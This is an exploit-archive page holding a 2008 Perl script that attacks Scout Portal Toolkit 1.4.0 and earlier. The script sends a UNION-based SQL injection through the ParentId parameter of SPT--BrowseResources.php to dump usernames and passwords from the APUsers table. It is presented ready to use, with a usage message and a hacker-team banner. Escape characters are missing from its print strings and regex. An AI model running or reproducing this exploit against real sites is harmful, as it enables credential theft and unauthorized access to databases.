[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : Scout Portal Toolkit <= 1.4.0 (ParentId) Remote SQL Injection Exploit
# Published : 2008-05-04
# Author : JosS
# Previous Title : ScorpNews 1.0 (example.php site) Remote File Inclusion Vulnerability
# Next Title : BlogMe PHP (comments.php id) SQL Injection Vulnerability


#!/usr/bin/perl

# Scout Portal Toolkit <= 1.4.0 (ParentId) Remote SQL Injection Exploit
# Discovered & Coded by JosS
# Contact: sys-project[at]hotmail.com
# Spanish Hackers Team / Sys - Project / EspSeC
# http://www.spanish-hackers.com
# rgod forever :D


print "tt########################################################nn";
print "tt#  Scout Portal Toolkit <= 1.4.0 SQL Injection Exploit #nn";
print "tt#                       by JosS                        #nn";
print "tt########################################################nn";

use strict;
use LWP::UserAgent;

my $victim = $ARGV[0];

 if(!$ARGV[0]) {
    print "n[x] Scout Portal Toolkit <= 1.4.0 Remote SQL Injection Exploitn";
    print "[x] written by JosS - sys-project[at]hotmail.comn";
    print "[x] usage: perl xpl.pl [host]n";
    print "[x] example: http://localhost/path/nn";
    exit(1);
 }
 
    print "n[+] Exploiting...n";
    my $cnx = LWP::UserAgent->new() or die;
    my $go=$cnx->get($victim."/SPT--BrowseResources.php?ParentId=337+and+1=2+union+all+select+0,1,2,3,4,concat(UserName,char(34),UserPassword),6,7,8+from+APUsers/*");
    if ($go->content =~ m/APUsers/*' class=''>(.*?)</a>/ms)
 {
        print "[+] $1nn";
    } else {
        print "n[-] exploit failedn";
    }

# www.Syue.com [2008-05-04]